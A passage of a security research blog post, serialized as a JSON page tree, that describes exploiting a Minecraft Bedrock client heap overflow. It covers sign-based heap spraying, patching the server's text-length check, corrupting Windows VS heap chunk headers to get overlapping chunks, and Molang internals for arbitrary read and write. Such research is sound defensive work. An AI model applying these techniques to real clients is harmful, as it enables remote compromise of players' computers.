world",{"type":24,"tag":83,"props":151111,"children":151112},{"style":107},[151113],{"type":29,"value":161},{"type":24,"tag":83,"props":151115,"children":151116},{"style":101},[151117],{"type":29,"value":150594},{"type":24,"tag":83,"props":151119,"children":151120},{"style":107},[151121],{"type":29,"value":558},{"type":24,"tag":83,"props":151123,"children":151124},{"style":187},[151125],{"type":29,"value":150603},{"type":24,"tag":83,"props":151127,"children":151128},{"style":107},[151129],{"type":29,"value":6483},{"type":24,"tag":83,"props":151131,"children":151132},{"class":85,"line":23517},[151133],{"type":24,"tag":83,"props":151134,"children":151135},{"style":137},[151136],{"type":29,"value":151137},"                sign_location\n",{"type":24,"tag":83,"props":151139,"children":151140},{"class":85,"line":23525},[151141],{"type":24,"tag":83,"props":151142,"children":151143},{"style":107},[151144],{"type":29,"value":124647},{"type":24,"tag":83,"props":151146,"children":151147},{"class":85,"line":23533},[151148,151152,151156,151160],{"type":24,"tag":83,"props":151149,"children":151150},{"style":137},[151151],{"type":29,"value":150640},{"type":24,"tag":83,"props":151153,"children":151154},{"style":107},[151155],{"type":29,"value":161},{"type":24,"tag":83,"props":151157,"children":151158},{"style":101},[151159],{"type":29,"value":150247},{"type":24,"tag":83,"props":151161,"children":151162},{"style":107},[151163],{"type":29,"value":3208},{"type":24,"tag":83,"props":151165,"children":151166},{"class":85,"line":23570},[151167,151171,151175,151179,151183,151187],{"type":24,"tag":83,"props":151168,"children":151169},{"style":137},[151170],{"type":29,"value":150660},{"type":24,"tag":83,"props":151172,"children":151173},{"style":107},[151174],{"type":29,"value":161},{"type":24,"tag":83,"props":151176,"children":151177},{"style":101},[151178],{"type":29,"value":150268},{"type":24,"tag":83,"props":151180,"children":151181},{"style":107},[151182],{"type":29,"value":558},{"type":24,"tag":83,"props":151184,"children":151185},{"style":187},[151186],{"type":29,"value":150277},{"type":24,"tag":83,"props":151188,"children":151189},{"style":107},[151190],{"type":29,"value":2905},{"type":24,"tag":83,"props":151192,"children":151193},{"class":85,"line":23583},[151194],{"type":24,"tag":83,"props":151195,"children":151196},{"style":107},[151197],{"type":29,"value":124647},{"type":24,"tag":83,"props":151199,"children":151200},{"class":85,"line":23596},[151201],{"type":24,"tag":83,"props":151202,"children":151203},{"emptyLinePlaceholder":16},[151204],{"type":29,"value":3422},{"type":24,"tag":83,"props":151206,"children":151207},{"class":85,"line":23609},[151208,151212,151216],{"type":24,"tag":83,"props":151209,"children":151210},{"style":107},[151211],{"type":29,"value":150543},{"type":24,"tag":83,"props":151213,"children":151214},{"style":143},[151215],{"type":29,"value":509},{"type":24,"tag":83,"props":151217,"children":151218},{"style":107},[151219],{"type":29,"value":1453},{"type":24,"tag":83,"props":151221,"children":151222},{"class":85,"line":23663},[151223],{"type":24,"tag":83,"props":151224,"children":151225},{"style":107},[151226],{"type":29,"value":3092},{"type":24,"tag":83,"props":151228,"children":151229},{"class":85,"line":23672},[151230],{"type":24,"tag":83,"props":151231,"children":151232},{"style":107},[151233],{"type":29,"value":446},{"type":24,"tag":83,"props":151235,"children":151236},{"class":85,"line":32019},[151237],{"type":24,"tag":83,"props":151238,"children":151239},{"style":107},[151240],{"type":29,"value":464},{"type":24,"tag":83,"props":151242,"children":151243},{"class":85,"line":32040},[151244],{"type":24,"tag":83,"props":151245,"children":151246},{"emptyLinePlaceholder":16},[151247],{"type":29,"value":3422},{"type":24,"tag":83,"props":151249,"children":151250},{"class":85,"line":80665},[151251,151256,151260,151265,151269,151274,151278,151283,151287,151292,151296,151300],{"type":24,"tag":83,"props":151252,"children":151253},{"style":137},[151254],{"type":29,"value":151255},"world",{"type":24,"tag":83,"props":151257,"children":151258},{"style":107},[151259],{"type":29,"value":161},{"type":24,"tag":83,"props":151261,"children":151262},{"style":137},[151263],{"type":29,"value":151264},"afterEvents",{"type":24,"tag":83,"props":151266,"children":151267},{"style":107},[151268],{"type":29,"value":161},{"type":24,"tag":83,"props":151270,"children":151271},{"style":137},[151272],{"type":29,"value":151273},"playerSpawn",{"type":24,"tag":83,"props":151275,"children":151276},{"style":107},[151277],{"type":29,"value":161},{"type":24,"tag":83,"props":151279,"children":151280},{"style":101},[151281],{"type":29,"value":151282},"subscribe",{"type":24,"tag":83,"props":151284,"children":151285},{"style":107},[151286],{"type":29,"value":31266},{"type":24,"tag":83,"props":151288,"children":151289},{"style":137},[151290],{"type":29,"value":151291},"arg",{"type":24,"tag":83,"props":151293,"children":151294},{"style":107},[151295],{"type":29,"value":633},{"type":24,"tag":83,"props":151297,"children":151298},{"style":90},[151299],{"type":29,"value":14564},{"type":24,"tag":83,"props":151301,"children":151302},{"style":107},[151303],{"type":29,"value":125},{"type":24,"tag":83,"props":151305,"children":151306},{"class":85,"line":80678},[151307,151312],{"type":24,"tag":83,"props":151308,"children":151309},{"style":101},[151310],{"type":29,"value":151311},"    create_wall",{"type":24,"tag":83,"props":151313,"children":151314},{"style":107},[151315],{"type":29,"value":267},{"type":24,"tag":83,"props":151317,"children":151318},{"class":85,"line":80686},[151319],{"type":24,"tag":83,"props":151320,"children":151321},{"style":107},[151322],{"type":29,"value":35072},{"type":24,"tag":83,"props":151324,"children":151325},{"class":85,"line":80694},[151326],{"type":24,"tag":83,"props":151327,"children":151328},{"emptyLinePlaceholder":16},[151329],{"type":29,"value":3422},{"type":24,"tag":83,"props":151331,"children":151332},{"class":85,"line":80702},[151333,151337,151341,151346,151350,151355,151359,151363,151367,151371,151375,151379,151383,151387],{"type":24,"tag":83,"props":151334,"children":151335},{"style":137},[151336],{"type":29,"value":151255},{"type":24,"tag":83,"props":151338,"children":151339},{"style":107},[151340],{"type":29,"value":161},{"type":24,"tag":83,"props":151342,"children":151343},{"style":137},[151344],{"type":29,"value":151345},"beforeEvents",{"type":24,"tag":83,"props":151347,"children":151348},{"style":107},[151349],{"type":29,"value":161},{"type":24,"tag":83,"props":151351,"children":151352},{"style":137},[151353],{"type":29,"value":151354},"playerLeave",{"type":24,"tag":83,"props":151356,"children":151357},{"style":107},[151358],{"type":29,"value":161},{"type":24,"tag":83,"props":151360,"children":151361},{"style":101},[151362],{"type":29,"value":151282},{"type":24,"tag":83,"props":151364,"children":151365},{"style":107},[151366],{"type":29,"value":558},{"type":24,"tag":83,"props":151368,"children":151369},{"style":90},[151370],{"type":29,"value":93},{"type":24,"tag":83,"props":151372,"children":151373},{"style":107},[151374],{"type":29,"value":223},{"type":24,"tag":83,"props":151376,"children":151377},{"style":137},[151378],{"type":29,"value":151291},{"type":24,"tag":83,"props":151380,"children":151381},{"style":107},[151382],{"type":29,"value":633},{"type":24,"tag":83,"props":151384,"children":151385},{"style":90},[151386],{"type":29,"value":14564},{"type":24,"tag":83,"props":151388,"children":151389},{"style":107},[151390],{"type":29,"value":125},{"type":24,"tag":83,"props":151392,"children":151393},{"class":85,"line":80742},[151394,151399],{"type":24,"tag":83,"props":151395,"children":151396},{"style":101},[151397],{"type":29,"value":151398},"    remove_wall",{"type":24,"tag":83,"props":151400,"children":151401},{"style":107},[151402],{"type":29,"value":267},{"type":24,"tag":83,"props":151404,"children":151405},{"class":85,"line":80750},[151406],{"type":24,"tag":83,"props":151407,"children":151408},{"style":107},[151409],{"type":29,"value":35072},{"type":24,"tag":25,"props":151411,"children":151412},{},[151413],{"type":29,"value":151414},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":25,"props":151416,"children":151417},{},[151418],{"type":24,"tag":2510,"props":151419,"children":151422},{"alt":151420,"src":151421},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":25,"props":151424,"children":151425},{},[151426],{"type":29,"value":151427},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":18631,"props":151429,"children":151431},{"id":151430},"a-small-roadblock",[151432],{"type":29,"value":151433},"A Small Roadblock",{"type":24,"tag":25,"props":151435,"children":151436},{},[151437],{"type":29,"value":151438},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":73,"props":151440,"children":151442},{"code":151441},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[151443],{"type":24,"tag":32,"props":151444,"children":151445},{"__ignoreMap":7},[151446],{"type":29,"value":151441},{"type":24,"tag":25,"props":151448,"children":151449},{},[151450,151452,151458],{"type":29,"value":151451},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":32,"props":151453,"children":151455},{"className":151454},[],[151456],{"type":29,"value":151457},"512",{"type":29,"value":151459}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":25,"props":151461,"children":151462},{},[151463],{"type":29,"value":151464},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":25,"props":151466,"children":151467},{},[151468],{"type":29,"value":151469},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":25,"props":151471,"children":151472},{},[151473],{"type":24,"tag":2510,"props":151474,"children":151476},{"alt":2512,"src":151475},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":25,"props":151478,"children":151479},{},[151480,151482,151488],{"type":29,"value":151481},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":24,"tag":32,"props":151483,"children":151485},{"className":151484},[],[151486],{"type":29,"value":151487},"string_length \u003C= 512",{"type":29,"value":151489}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":25,"props":151491,"children":151492},{},[151493],{"type":29,"value":151494},"The disassembly of the comparison looks like this:",{"type":24,"tag":25,"props":151496,"children":151497},{},[151498],{"type":24,"tag":2510,"props":151499,"children":151501},{"alt":2512,"src":151500},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":25,"props":151503,"children":151504},{},[151505,151507,151512,151514,151519,151520,151525,151527,151533,151535,151541,151543,151548,151550,151555],{"type":29,"value":151506},"The code compares ",{"type":24,"tag":32,"props":151508,"children":151510},{"className":151509},[],[151511],{"type":29,"value":56488},{"type":29,"value":151513}," (the string length) to ",{"type":24,"tag":32,"props":151515,"children":151517},{"className":151516},[],[151518],{"type":29,"value":127347},{"type":29,"value":223},{"type":24,"tag":32,"props":151521,"children":151523},{"className":151522},[],[151524],{"type":29,"value":151457},{"type":29,"value":151526}," decimal). It then performs a ",{"type":24,"tag":32,"props":151528,"children":151530},{"className":151529},[],[151531],{"type":29,"value":151532},"jbe",{"type":29,"value":151534},", jumping to address ",{"type":24,"tag":32,"props":151536,"children":151538},{"className":151537},[],[151539],{"type":29,"value":151540},"0x14275114c",{"type":29,"value":151542}," if ",{"type":24,"tag":32,"props":151544,"children":151546},{"className":151545},[],[151547],{"type":29,"value":56488},{"type":29,"value":151549}," is less than or equal to ",{"type":24,"tag":32,"props":151551,"children":151553},{"className":151552},[],[151554],{"type":29,"value":151457},{"type":29,"value":151556},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":25,"props":151558,"children":151559},{},[151560,151562,151567,151569,151575],{"type":29,"value":151561},"To force execution down this path, we patched the ",{"type":24,"tag":32,"props":151563,"children":151565},{"className":151564},[],[151566],{"type":29,"value":151532},{"type":29,"value":151568}," instruction to an unconditional ",{"type":24,"tag":32,"props":151570,"children":151572},{"className":151571},[],[151573],{"type":29,"value":151574},"jmp",{"type":29,"value":151576},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":25,"props":151578,"children":151579},{},[151580],{"type":24,"tag":2510,"props":151581,"children":151583},{"alt":2512,"src":151582},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":25,"props":151585,"children":151586},{},[151587,151589,151594,151596,151601],{"type":29,"value":151588},"After patching the server and calling ",{"type":24,"tag":32,"props":151590,"children":151592},{"className":151591},[],[151593],{"type":29,"value":149698},{"type":29,"value":151595}," with a size of ",{"type":24,"tag":32,"props":151597,"children":151599},{"className":151598},[],[151600],{"type":29,"value":57862},{"type":29,"value":151602},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":25,"props":151604,"children":151605},{},[151606],{"type":24,"tag":2510,"props":151607,"children":151609},{"alt":2512,"src":151608},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":18531,"props":151611,"children":151612},{},[],{"type":24,"tag":25,"props":151614,"children":151615},{},[151616],{"type":29,"value":151617},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":25,"props":151619,"children":151620},{},[151621],{"type":29,"value":151622},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":1818,"props":151624,"children":151626},{"id":151625},"overlapping-heap-chunks",[151627],{"type":29,"value":151628},"Overlapping Heap Chunks",{"type":24,"tag":25,"props":151630,"children":151631},{},[151632,151634,151639],{"type":29,"value":151633},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":2033,"props":151635,"children":151637},{"href":149442,"rel":151636},[2037],[151638],{"type":29,"value":47303},{"type":29,"value":151640},"), so we will present a high-level overview.",{"type":24,"tag":25,"props":151642,"children":151643},{},[151644,151646,151652],{"type":29,"value":151645},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":32,"props":151647,"children":151649},{"className":151648},[],[151650],{"type":29,"value":151651},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":151653}," structure layout is required:",{"type":24,"tag":73,"props":151655,"children":151657},{"code":151656},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[151658],{"type":24,"tag":32,"props":151659,"children":151660},{"__ignoreMap":7},[151661],{"type":29,"value":151656},{"type":24,"tag":25,"props":151663,"children":151664},{},[151665,151667,151673,151675,151681,151682,151688,151689,151695,151697,151702,151704,151709,151711,151717,151719,151724,151726,151732],{"type":29,"value":151666},"At offset 0 there is a header ",{"type":24,"tag":32,"props":151668,"children":151670},{"className":151669},[],[151671],{"type":29,"value":151672},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":151674}," containing fields such as ",{"type":24,"tag":32,"props":151676,"children":151678},{"className":151677},[],[151679],{"type":29,"value":151680},"MemoryCost",{"type":29,"value":568},{"type":24,"tag":32,"props":151683,"children":151685},{"className":151684},[],[151686],{"type":29,"value":151687},"UnsafeSize",{"type":29,"value":568},{"type":24,"tag":32,"props":151690,"children":151692},{"className":151691},[],[151693],{"type":29,"value":151694},"UnsafePrevSize",{"type":29,"value":151696},", etc. For the attack we only care about the ",{"type":24,"tag":32,"props":151698,"children":151700},{"className":151699},[],[151701],{"type":29,"value":151687},{"type":29,"value":151703}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":32,"props":151705,"children":151707},{"className":151706},[],[151708],{"type":29,"value":125970},{"type":29,"value":151710},", so for a chunk of size ",{"type":24,"tag":32,"props":151712,"children":151714},{"className":151713},[],[151715],{"type":29,"value":151716},"0x4010",{"type":29,"value":151718}," the value of ",{"type":24,"tag":32,"props":151720,"children":151722},{"className":151721},[],[151723],{"type":29,"value":151687},{"type":29,"value":151725}," would be ",{"type":24,"tag":32,"props":151727,"children":151729},{"className":151728},[],[151730],{"type":29,"value":151731},"0x401",{"type":29,"value":161},{"type":24,"tag":25,"props":151734,"children":151735},{},[151736,151737,151742],{"type":29,"value":63932},{"type":24,"tag":32,"props":151738,"children":151740},{"className":151739},[],[151741],{"type":29,"value":151687},{"type":29,"value":151743}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":25,"props":151745,"children":151746},{},[151747,151749,151754,151756,151761,151763,151769,151771,151776],{"type":29,"value":151748},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":32,"props":151750,"children":151752},{"className":151751},[],[151753],{"type":29,"value":151687},{"type":29,"value":151755}," in the smallest possible VS chunk (",{"type":24,"tag":32,"props":151757,"children":151759},{"className":151758},[],[151760],{"type":29,"value":151716},{"type":29,"value":151762},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":32,"props":151764,"children":151766},{"className":151765},[],[151767],{"type":29,"value":151768},"[0x10, 0xffff0]",{"type":29,"value":151770}," range, the probability that it exceeds ",{"type":24,"tag":32,"props":151772,"children":151774},{"className":151773},[],[151775],{"type":29,"value":151716},{"type":29,"value":151777}," is:",{"type":24,"tag":73,"props":151779,"children":151781},{"code":151780},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[151782],{"type":24,"tag":32,"props":151783,"children":151784},{"__ignoreMap":7},[151785],{"type":29,"value":151780},{"type":24,"tag":25,"props":151787,"children":151788},{},[151789],{"type":29,"value":151790},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":25,"props":151792,"children":151793},{},[151794],{"type":29,"value":151795},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":18631,"props":151797,"children":151799},{"id":151798},"overlap-attack-overview",[151800],{"type":29,"value":151801},"Overlap Attack Overview",{"type":24,"tag":25,"props":151803,"children":151804},{},[151805,151807,151812],{"type":29,"value":151806},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":32,"props":151808,"children":151810},{"className":151809},[],[151811],{"type":29,"value":125993},{"type":29,"value":151813}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":25,"props":151815,"children":151816},{},[151817,151819,151824,151826,151831],{"type":29,"value":151818},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":32,"props":151820,"children":151822},{"className":151821},[],[151823],{"type":29,"value":147701},{"type":29,"value":151825},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":32,"props":151827,"children":151829},{"className":151828},[],[151830],{"type":29,"value":147701},{"type":29,"value":151832},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":25,"props":151834,"children":151835},{},[151836,151838,151843],{"type":29,"value":151837},"To remove those ",{"type":24,"tag":32,"props":151839,"children":151841},{"className":151840},[],[151842],{"type":29,"value":147701},{"type":29,"value":151844},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":25,"props":151846,"children":151847},{},[151848],{"type":29,"value":151849},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":73,"props":151851,"children":151853},{"code":151852},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[151854],{"type":24,"tag":32,"props":151855,"children":151856},{"__ignoreMap":7},[151857],{"type":29,"value":151852},{"type":24,"tag":25,"props":151859,"children":151860},{},[151861,151863,151868,151870,151875],{"type":29,"value":151862},"Next we create ",{"type":24,"tag":2655,"props":151864,"children":151865},{},[151866],{"type":29,"value":151867},"holes",{"type":29,"value":151869}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":32,"props":151871,"children":151873},{"className":151872},[],[151874],{"type":29,"value":147701},{"type":29,"value":151876},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":73,"props":151878,"children":151880},{"code":151879},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[151881],{"type":24,"tag":32,"props":151882,"children":151883},{"__ignoreMap":7},[151884],{"type":29,"value":151879},{"type":24,"tag":25,"props":151886,"children":151887},{},[151888,151890,151895,151897,151902],{"type":29,"value":151889},"When a ",{"type":24,"tag":32,"props":151891,"children":151893},{"className":151892},[],[151894],{"type":29,"value":147701},{"type":29,"value":151896}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":32,"props":151898,"children":151900},{"className":151899},[],[151901],{"type":29,"value":151687},{"type":29,"value":151903}," field will be overwritten:",{"type":24,"tag":73,"props":151905,"children":151907},{"code":151906},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[151908],{"type":24,"tag":32,"props":151909,"children":151910},{"__ignoreMap":7},[151911],{"type":29,"value":151906},{"type":24,"tag":25,"props":151913,"children":151914},{},[151915,151917,151922,151924,151929,151931,151936],{"type":29,"value":151916},"Once ",{"type":24,"tag":32,"props":151918,"children":151920},{"className":151919},[],[151921],{"type":29,"value":151687},{"type":29,"value":151923}," has been overwritten, ",{"type":24,"tag":32,"props":151925,"children":151927},{"className":151926},[],[151928],{"type":29,"value":147701},{"type":29,"value":151930}," allocation is freed immediately after, restoring the previous layout but with ",{"type":24,"tag":32,"props":151932,"children":151934},{"className":151933},[],[151935],{"type":29,"value":151687},{"type":29,"value":151937}," field corrupted:",{"type":24,"tag":73,"props":151939,"children":151941},{"code":151940},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[151942],{"type":24,"tag":32,"props":151943,"children":151944},{"__ignoreMap":7},[151945],{"type":29,"value":151940},{"type":24,"tag":25,"props":151947,"children":151948},{},[151949],{"type":29,"value":151950},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":73,"props":151952,"children":151954},{"code":151953},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[151955],{"type":24,"tag":32,"props":151956,"children":151957},{"__ignoreMap":7},[151958],{"type":29,"value":151953},{"type":24,"tag":25,"props":151960,"children":151961},{},[151962],{"type":29,"value":151963},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":73,"props":151965,"children":151967},{"code":151966},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[151968],{"type":24,"tag":32,"props":151969,"children":151970},{"__ignoreMap":7},[151971],{"type":29,"value":151966},{"type":24,"tag":18531,"props":151973,"children":151974},{},[],{"type":24,"tag":25,"props":151976,"children":151977},{},[151978],{"type":29,"value":151979},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":25,"props":151981,"children":151982},{},[151983],{"type":29,"value":151984},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":1818,"props":151986,"children":151988},{"id":151987},"molang",[151989],{"type":29,"value":151990},"Molang",{"type":24,"tag":25,"props":151992,"children":151993},{},[151994,151996,152003],{"type":29,"value":151995},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":2033,"props":151997,"children":152000},{"href":151998,"rel":151999},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[2037],[152001],{"type":29,"value":152002},"syntax guide",{"type":29,"value":161},{"type":24,"tag":25,"props":152005,"children":152006},{},[152007,152009,152014,152015,152020],{"type":29,"value":152008},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":32,"props":152010,"children":152012},{"className":152011},[],[152013],{"type":29,"value":8320},{"type":29,"value":2287},{"type":24,"tag":32,"props":152016,"children":152018},{"className":152017},[],[152019],{"type":29,"value":15427},{"type":29,"value":152021}," operators are supported.",{"type":24,"tag":25,"props":152023,"children":152024},{},[152025,152027,152033,152035,152040,152042,152047,152048,152053,152054],{"type":29,"value":152026},"Variables are defined by prepending ",{"type":24,"tag":32,"props":152028,"children":152030},{"className":152029},[],[152031],{"type":29,"value":152032},"variable.",{"type":29,"value":152034}," to the name and assigning a value. For example, to define ",{"type":24,"tag":32,"props":152036,"children":152038},{"className":152037},[],[152039],{"type":29,"value":8828},{"type":29,"value":152041}," as the sum of ",{"type":24,"tag":32,"props":152043,"children":152045},{"className":152044},[],[152046],{"type":29,"value":2033},{"type":29,"value":2287},{"type":24,"tag":32,"props":152049,"children":152051},{"className":152050},[],[152052],{"type":29,"value":2968},{"type":29,"value":1920},{"type":24,"tag":32,"props":152055,"children":152057},{"className":152056},[],[152058],{"type":29,"value":152059},"variable.result = variable.a + variable.b;",{"type":24,"tag":25,"props":152061,"children":152062},{},[152063,152065,152070,152071,152076,152077,152082,152083,152088],{"type":29,"value":152064},"Logical operators such as ",{"type":24,"tag":32,"props":152066,"children":152068},{"className":152067},[],[152069],{"type":29,"value":638},{"type":29,"value":568},{"type":24,"tag":32,"props":152072,"children":152074},{"className":152073},[],[152075],{"type":29,"value":72912},{"type":29,"value":568},{"type":24,"tag":32,"props":152078,"children":152080},{"className":152079},[],[152081],{"type":29,"value":5552},{"type":29,"value":568},{"type":24,"tag":32,"props":152084,"children":152086},{"className":152085},[],[152087],{"type":29,"value":10209},{"type":29,"value":152089},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":73,"props":152091,"children":152093},{"code":152092},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[152094],{"type":24,"tag":32,"props":152095,"children":152096},{"__ignoreMap":7},[152097],{"type":29,"value":152092},{"type":24,"tag":25,"props":152099,"children":152100},{},[152101],{"type":29,"value":152102},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":18631,"props":152104,"children":152106},{"id":152105},"molang-internals",[152107],{"type":29,"value":152108},"Molang Internals",{"type":24,"tag":25,"props":152110,"children":152111},{},[152112],{"type":29,"value":152113},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":25,"props":152115,"children":152116},{},[152117],{"type":29,"value":152118},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":18631,"props":152120,"children":152122},{"id":152121},"molangvariable-and-molangscriptarg",[152123],{"type":29,"value":152124},"MolangVariable and MolangScriptArg",{"type":24,"tag":25,"props":152126,"children":152127},{},[152128,152129,152135],{"type":29,"value":101884},{"type":24,"tag":32,"props":152130,"children":152132},{"className":152131},[],[152133],{"type":29,"value":152134},"MolangVariable",{"type":29,"value":152136}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":73,"props":152138,"children":152140},{"code":152139,"language":2891,"meta":7,"className":16250,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[152141],{"type":24,"tag":32,"props":152142,"children":152143},{"__ignoreMap":7},[152144,152156,152163,152175,152188,152196,152203,152210,152222,152235,152247,152277,152285,152292,152299],{"type":24,"tag":83,"props":152145,"children":152146},{"class":85,"line":86},[152147,152151],{"type":24,"tag":83,"props":152148,"children":152149},{"style":90},[152150],{"type":29,"value":9148},{"type":24,"tag":83,"props":152152,"children":152153},{"style":107},[152154],{"type":29,"value":152155}," MolangVariable {\n",{"type":24,"tag":83,"props":152157,"children":152158},{"class":85,"line":113},[152159],{"type":24,"tag":83,"props":152160,"children":152161},{"style":107},[152162],{"type":29,"value":61501},{"type":24,"tag":83,"props":152164,"children":152165},{"class":85,"line":128},[152166,152170],{"type":24,"tag":83,"props":152167,"children":152168},{"style":90},[152169],{"type":29,"value":5798},{"type":24,"tag":83,"props":152171,"children":152172},{"style":107},[152173],{"type":29,"value":152174}," HashedString {\n",{"type":24,"tag":83,"props":152176,"children":152177},{"class":85,"line":183},[152178,152183],{"type":24,"tag":83,"props":152179,"children":152180},{"style":90},[152181],{"type":29,"value":152182},"        